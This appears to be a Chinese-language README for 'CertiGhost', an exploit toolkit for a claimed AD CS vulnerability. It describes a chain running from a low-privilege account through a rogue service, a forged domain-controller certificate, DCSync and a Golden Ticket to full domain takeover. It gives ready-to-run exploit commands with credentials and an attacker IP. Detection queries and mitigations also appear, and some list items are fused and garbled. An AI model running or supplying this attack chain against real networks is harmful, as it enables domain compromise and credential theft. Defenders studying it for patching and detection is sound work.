针对 AD CS CVE-2026-54121 的漏洞利用工具包:低权限域用户可冒充域控制器、伪造证书,并通过 DCSync/Golden Ticket 攻击入侵域。
CertiGhost 是 Active Directory 证书服务 (AD CS) 中的一个严重漏洞(CVSS 8.8),允许低权限域用户冒充域控制器并实现完全域接管。
AD CS 的 "chase" 回退机制允许请求者在证书请求中提供 cdc(客户端 DC)和 rmd(远程域)属性。CA 会跟随 cdc 目标解析身份数据,而不会验证其是否为合法的域控制器。
攻击链:
ms-DS-MachineAccountQuota)cdc 属性的证书请求krbtgt 哈希 → 黄金票据 → 完全域接管| 文档 | 内容 |
|---|---|
| USAGE.md | 详细的使用指南,包含分步说明 |
| DIAGRAM.md | 结构图表与攻击流程可视化 |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
完整架构图请参阅 DIAGRAM.md。
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuota 值EDITF_ENABLECHASECLIENTDC 标志ms-DS-MachineAccountQuota > 0(默认值:10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota 设置为 0ENROLLEE_SUPPLIES_SUBJECTcdc/rmd 属性的证书请求根据 Microsoft Threat Protection 博客,可部署以下高级搜寻查询:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| 文件 | 用途 |
|---|
certighost_exploit.py | 完整漏洞利用链实现 |
certighost_test.py | 带 CLI 的检测 + 漏洞利用工具包 |
ad_detect.py | 快速定向检测扫描 |
test_exploit.py | 所有漏洞利用组件的单元测试(55 项测试) |
requirements.txt | Python 依赖 |